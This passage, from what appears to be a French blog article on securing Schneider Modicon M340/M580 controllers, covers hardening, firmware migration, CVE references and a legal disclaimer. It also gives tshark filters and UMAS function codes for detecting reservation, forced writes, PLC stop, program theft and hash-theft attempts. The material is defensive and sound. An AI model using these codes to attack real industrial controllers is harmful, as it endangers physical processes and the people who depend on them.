502ne doit causer qu’avec la station d’ingénierie légitime, sur un réseau OT isolé de l’IT. Pas de route vers le502= UMAS n’existe pas pour toi. Le nom de PC, lui, n’est pas un filtre. - Active la protection applicative et mets à jour le firmware (fix ModiPwn : M340 v3.50, M580 SV4.10 ; les rebonds pass-the-hash de 2024 sont bouchés depuis SV3.70 / Control Expert V16.2 HF003). Un automate pleinement à jour n’est toujours pas inviolable (l’auth reste un hash rejouable calculé côté client), mais ça élimine les bypass triviaux et force l’attaquant à vraiment bosser, voire à se rabattre sur un crack offline. Côté pratique, la mise à jour passe désormais par EADM (qui a remplacé Unity Loader pour les firmwares v4.x sécurisés), avec un chemin en deux temps
v3.x -> v3.99 -> v4.x. Et un piège matériel qui illustre pile le problème. Schneider a fait un refresh visible du CPU : les M580 « blancs » sont l’ancienne génération (livrée en v2.x/v3.x), les « gris » la nouvelle (nativement en v4 sécurisée, avec un boot loader renforcé). Un blanc peut souvent se migrer vers la v4 par le chemin en deux temps, sauf les tout premiers (product version ≤ 3, à lire sur l’étiquette) qui n’ont pas le bon boot loader matériel : les forcer en v4 détruit le CPU, et ils restent plafonnés à la dernière v3.x. Et côté certification, le M580 ePAC et le module BMENOC302 ont obtenu la CSPN de l’ANSSI (juin 2026). - Coupe ce qui ne sert pas : FTP
datastorage, serveur web, SNMP… autant de portes (et de mots de passe par défaut) en moins. « Enforce Security » le fait pour toi. - Surveille l’UMAS : les fonctions sensibles (
0x10réservation,0x40/41start/stop,0x71forçage,0x30-35transfert, et un0x20sur le bloc0x14= tentative de vol de hash) sont à offset fixe, détectables en IDS. - Protège tes captures : un pcap d’un transfert
0x34, c’est le programme en clair et le matériel d’auth base64. Traite-le comme un secret.
Côté détection, repérer tout le trafic UMAS tient en un filtre (le function code Modbus 90 = 0x5A) :
tshark -r capture.pcapng -Y 'modbus.func_code == 90'
Et pour cibler une fonction précise plutôt que tout l’UMAS, on filtre sur l’octet de fonction (juste après l’octet de session) : modbus.func_code == 90 && modbus.data[1:1] == 0x10 isole la réservation (mets 0x71 pour un forçage, 0x41 pour un STOP, 0x34 pour un vol de programme). Attention à bien écrire le 0x, sinon Wireshark lit le nombre en décimal. Ces fonctions chaudes sont à offset fixe, donc repérables aussi côté IDS.
Pour aller plus loin, les CVE qui vont bien : CVE-2018-7842 (brute-force de la réservation), CVE-2022-45789 (rejeu/détournement de session, suite d’OT:ICEFALL chez Forescout), CVE-2021-22779 ModiPwn (contournement de l’auth applicative via le bloc
0x14), CVE-2022-45788 OT:ICEFALL (exécution de code), CVE-2018-7845 (lecture mémoire non authentifiée) et CVE-2019-6806 (fuite de chaînes SNMP).
Et pour renverser complètement le rapport de force : la recherche Evil PLC (Team82 / Claroty, août 2022) a montré qu’on peut aussi piéger l’automate pour qu’il attaque en retour le poste d’ingénierie qui s’y connecte : l’automate n’est plus la proie mais le « prédateur ». Chez Schneider (le M580 fait partie des cas du white paper), ça passe par un heap overflow dans la décompression XML de Control Expert : CVE-2022-26507, CVSS 9.8, avis CISA ICSA-22-223-03.
Conclusion
La morale ? L’OT, c’est un monde où la sécurité reposait sur « le réseau est isolé ». Sauf qu’il l’est de moins en moins.
Si ça t’as donné un peu envie de mettre les mains dedans, en tout cas côté Modbus, je te recommande le prolab de HTB Alchemy !
Si t’as kiffé, n’hésite pas à m’en parler sur discord !

Avertissement
Cet article relève de la recherche et développement en cybersécurité industrielle, menée dans le cadre de mes activités de pentest pour des clients autorisés, et réalisée sur mon propre matériel de laboratoire, en réseau isolé et sans aucune cible tierce. Sa visée est pédagogique et défensive : comprendre ces protocoles, c’est pouvoir les protéger.
Toutes les vulnérabilités évoquées sont publiques et documentées, et l’éditeur ou le constructeur a publié les correctifs correspondants (chaque point renvoie à sa référence CVE, à l’avis CISA ou à l’avis éditeur) ; leur déploiement relève de l’exploitant de l’installation. Rien ici n’est une faille inédite ni un contournement de correctif.
Les analyses présentées correspondent à l’état des connaissances et de la documentation publique à la date de rédaction. Elles ne préjugent pas de l’état actuel des produits concernés, lesquels peuvent avoir évolué depuis la publication des correctifs mentionnés.
Cet article n’a en aucun cas vocation à inciter à reproduire ces techniques à des fins malveillantes. Accéder à un système d’information ou en entraver le fonctionnement sans autorisation est illégal (en France, art. 323-1 et suivants du Code pénal). N’intervenez que sur des équipements qui vous appartiennent ou pour lesquels vous disposez d’une autorisation écrite.
Les marques citées (Schneider Electric, Modicon, EcoStruxure, Modbus, etc.) appartiennent à leurs détenteurs respectifs et ne sont mentionnées qu’à des fins d’identification technique ; cet article est indépendant et n’implique aucune affiliation, aucun partenariat ni aucune approbation de leur part.